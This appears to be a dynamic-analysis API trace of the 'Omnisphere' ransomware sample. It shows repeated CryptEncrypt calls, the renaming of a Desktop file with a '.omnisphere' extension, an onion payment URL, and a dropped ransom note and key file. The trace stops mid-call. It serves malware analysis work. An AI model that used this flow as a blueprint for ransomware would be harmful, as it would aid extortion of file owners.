[0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.586] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.587] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.588] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.589] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0163.589] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0163.589] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x2f10, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.589] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.589] GetProcessHeap () returned 0x1600000 [0163.589] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x274) returned 0x1772a30 [0163.589] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\dh -ph0jpp6vz0.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\dh -ph0jpp6vz0.gif.omnisphere")) returned 1 [0163.591] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif.omnisphere.id" [0163.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\dh -ph0jpp6vz0.gif.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.592] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.593] CloseHandle (hObject=0x3bc) returned 1 [0163.594] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.595] CloseHandle (hObject=0x380) returned 1 [0163.595] SetEndOfFile (hFile=0x39c) returned 1 [0163.600] FlushFileBuffers (hFile=0x39c) returned 1 [0163.603] CloseHandle (hObject=0x39c) returned 1 [0163.604] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\dh -Ph0jPP6Vz0.gif" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.604] GetProcessHeap () returned 0x1600000 [0163.604] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1772cb0 [0163.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.604] GetProcessHeap () returned 0x1600000 [0163.604] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733608 [0163.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733608, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.604] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.604] GetProcessHeap () returned 0x1600000 [0163.604] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f4a0 [0163.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f4a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.604] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.604] GetProcessHeap () returned 0x1600000 [0163.604] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164d268 [0163.604] PathCombineW (in: pszDest=0x164d268, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.605] GetProcessHeap () returned 0x1600000 [0163.605] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176f250 [0163.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.605] WriteFile (in: hFile=0x39c, lpBuffer=0x176f250*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176f250*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.605] CloseHandle (hObject=0x39c) returned 1 [0163.606] GetProcessHeap () returned 0x1600000 [0163.606] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1772cb0 | out: hHeap=0x1600000) returned 1 [0163.606] GetProcessHeap () returned 0x1600000 [0163.606] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a570 [0163.606] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.606] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.606] CloseHandle (hObject=0x39c) returned 1 [0163.607] GetProcessHeap () returned 0x1600000 [0163.607] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0163.607] GetProcessHeap () returned 0x1600000 [0163.607] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0163.607] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ded41f0, ftCreationTime.dwHighDateTime=0x1d4d13e, ftLastAccessTime.dwLowDateTime=0x64899ad0, ftLastAccessTime.dwHighDateTime=0x1d4d4f6, ftLastWriteTime.dwLowDateTime=0x64899ad0, ftLastWriteTime.dwHighDateTime=0x1d4d4f6, nFileSizeHigh=0x0, nFileSizeLow=0x480c, dwReserved0=0x0, dwReserved1=0xf5, cFileName="FbEeBr9puYmz.odt", cAlternateFileName="FBEEBR~1.ODT")) returned 1 [0163.607] GetProcessHeap () returned 